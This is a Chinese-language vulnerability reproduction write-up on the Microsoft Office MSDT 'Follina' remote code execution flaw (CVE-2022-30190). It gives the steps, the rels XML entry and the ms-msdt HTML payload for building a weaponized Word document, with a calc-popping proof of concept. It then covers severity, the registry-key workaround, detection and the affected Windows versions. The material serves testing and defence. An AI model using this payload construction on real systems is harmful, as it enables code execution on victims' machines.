0x01 Microsoft Office

Microsoft Office是由Microsoft(微軟)公司開發(fā)的一套辦公軟件套裝。常用組件有 Word、Excel、PowerPoint等。

0x02 漏洞簡介

該文檔使用 Word 遠程模板功能從遠程網(wǎng)絡(luò)服務(wù)器檢索 HTML 文件，該服務(wù)器使用 ms-msdt MSProtocol URI 方案加載代碼并執(zhí)行 PowerShell，禁用宏，仍能通過MSDT功能執(zhí)行代碼（惡意 Word 文檔通常用于通過宏執(zhí)行代碼）。Microsoft Defender 當前無法阻止執(zhí)行。受保護的視圖啟動無需打開文檔即可運行。

0x03 漏洞復(fù)現(xiàn)

步驟：

1、 新建一個word 文檔，在里面隨便輸入東西

?2、 將 word 文檔后綴更改為 zip

3、 將 zip 包解壓打開，編輯文件夾下的 word 目錄下的_rels 下的document.xml.rels

?4 、 按照格式加入

<Relationship  Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObje ct" Target="mhtml:http://localhost:80/exploit.html!x-usc:http://localhost:80/exploit.html" TargetMode="External"/>

5、 然后將文件夾打包成 zip，再改后綴為docx

6、 建一個文件夾作為web 站點目錄，新建html 文件添加

<script>
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=?
IT_LaunchMethod=ContextMenu IT_BrowseForFile=/../../$(\\\\localhost\\c$\\windows\\system32\\calc)/.exe\"";
</script>

7、 點開改好后的word 文檔即可

?目前發(fā)現(xiàn)的POC（彈出計算器）

GitHub - chvancooten/follina.py: POC to replicate the full 'Follina' Office RCE vulnerability for testing purposesPOC to replicate the full 'Follina' Office RCE vulnerability for testing purposes - GitHub - chvancooten/follina.py: POC to replicate the full 'Follina' Office RCE vulnerability for testing purposeshttps://github.com/chvancooten/follina.py

GitHub - onecloudemoji/CVE-2022-30190: CVE-2022-30190 Follina POCCVE-2022-30190 Follina POC. Contribute to onecloudemoji/CVE-2022-30190 development by creating an account on GitHub.https://github.com/onecloudemoji/CVE-2022-30190

作者給出的幾種方法

0x04 漏洞評定

• 公開程度：已發(fā)現(xiàn)在野利用

• 利用條件：需要打開或點擊特定文件

• 漏洞危害：高危 任意代碼執(zhí)行

0x05 修復(fù)方案

官方修復(fù)方案：

目前微軟暫未針對此漏洞發(fā)布安全補丁，提供了臨時修復(fù)措施進行防護：

禁用MSDT URL協(xié)議

1、以管理員身份運行命令提示符。

2、備份注冊表項后，執(zhí)行命令

reg export HKEY_CLASSES_ROOT\ms-msdt filename

3、再執(zhí)行命令

reg delete HKEY_CLASSES_ROOT\ms-msdt /f

撤銷該禁用：

1、以管理員身份運行命令提示符。

2、備份注冊表項后，執(zhí)行命令

reg import filename

官方參考鏈接：

https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/

Microsoft Defender在1.367.719.0及以上版本支持此漏洞的檢測和防護，Microsoft Defender for Endpoint 已為用戶提供檢測和警報；Microsoft365 Defender門戶中的以下警報標題可以提示網(wǎng)絡(luò)上的威脅活動：Office 應(yīng)用程序的可疑行為、Msdt.exe 的可疑行為。

0x05 影響范圍

影響版本：

Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows RT 8.1
Windows 8.1 for x64-based systems
Windows 8.1 for 32-bit systems
Windows 7 for x64-based Systems Service Pack 1
Windows 7 for 32-bit Systems Service Pack 1
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows 10 Version 1607 for x64-based Systems
Windows 10 Version 1607 for 32-bit Systems
Windows 10 for x64-based Systems
Windows 10 for 32-bit Systems
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows Server 2022 Azure Edition Core Hotpatch
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
?

其他修復(fù)方案：

1、關(guān)閉資源管理器的預(yù)覽窗格，不輕易打開陌生鏈接或下載來歷不明的文檔；

2、如果您使用Microsoft Defender的 Attack Surface Reduction(ASR)規(guī)則，則可在Block模式下激活“阻止所有Office應(yīng)用程序創(chuàng)建子進程”規(guī)則。若您還沒有使用ASR規(guī)則，可先在Audit模式下運行規(guī)則，觀察結(jié)果以確保不會對系統(tǒng)造成不利影響；

3、通過創(chuàng)建ASL規(guī)則防止Office產(chǎn)生子進程：文章來源地址http://www.zghlxwxcb.cn/news/detail-449273.html

到了這里，關(guān)于【漏洞復(fù)現(xiàn)】Microsoft Office MSDT 遠程代碼執(zhí)行漏洞 （CVE-2022-30190）的文章就介紹完了。如果您還想了解更多內(nèi)容，請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！